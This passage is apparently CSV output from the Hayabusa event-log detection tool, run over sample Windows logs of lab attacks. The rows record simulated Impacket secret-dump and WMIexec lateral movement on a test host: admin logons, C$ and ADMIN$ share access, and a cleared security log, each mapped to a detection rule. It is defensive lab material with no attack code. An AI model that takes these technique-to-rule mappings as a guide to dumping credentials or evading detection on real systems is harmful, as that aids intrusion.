10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.591 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\Impacket secret dump.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.606 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.606 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\Impacket secret dump.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.622 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.696 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\Impacket secret dump.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 20:32:00.171 +09:00,fs03vuln.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:00.186 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189df8,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:00.186 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63558 : LogonID: 0x189df8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:01.293 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189e94,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:01.293 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63534 : LogonID: 0x189e94,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:02.934 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189f3b,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:02.934 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189f62,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:02.934 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.123.11 : Port: 50896 : LogonID: 0x189f3b,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:02.934 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.123.11 : Port: 56740 : LogonID: 0x189f62,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:02.996 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189f84,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:02.996 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.123.11 : Port: 44948 : LogonID: 0x189f84,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.074 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189fa3,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.074 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.123.11 : Port: 44948 : LogonID: 0x189fa3,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.137 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189fc0,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.137 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.123.11 : Port: 44948 : LogonID: 0x189fc0,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.483 +09:00,fs03vuln.offsec.lan,4674,low,Lateral Movement Indicator ConDrv,,rules/sigma/builtin/security/win_lateral_movement_condrv.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.515 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.515 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.546 +09:00,fs03vuln.offsec.lan,4674,low,Lateral Movement Indicator ConDrv,,rules/sigma/builtin/security/win_lateral_movement_condrv.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.549 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.549 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.549 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.549 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.565 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.565 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.801 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18acdd,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.801 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63564 : LogonID: 0x18acdd,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.801 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.801 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.801 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.817 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18ad01,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.817 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63565 : LogonID: 0x18ad01,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.817 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63566 : LogonID: 0x18ad10,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.817 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63567 : LogonID: 0x18ad1f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.817 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18ad10,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.817 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18ad1f,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:27.649 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:28.551 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63564 : LogonID: 0x18b247,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:28.551 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18b247,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:28.551 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:28.551 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:28.551 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Program Files\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:28.551 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.306 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.321 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.321 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\DesktopTileResources\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.321 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Downloaded Program Files\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.337 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Fonts\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.337 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ImmersiveControlPanel\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.337 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\media\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.352 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Offline Web Pages\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.368 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ToastData\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.368 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.384 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\ar : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.384 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\bg : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\cs : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\da : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\de : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: 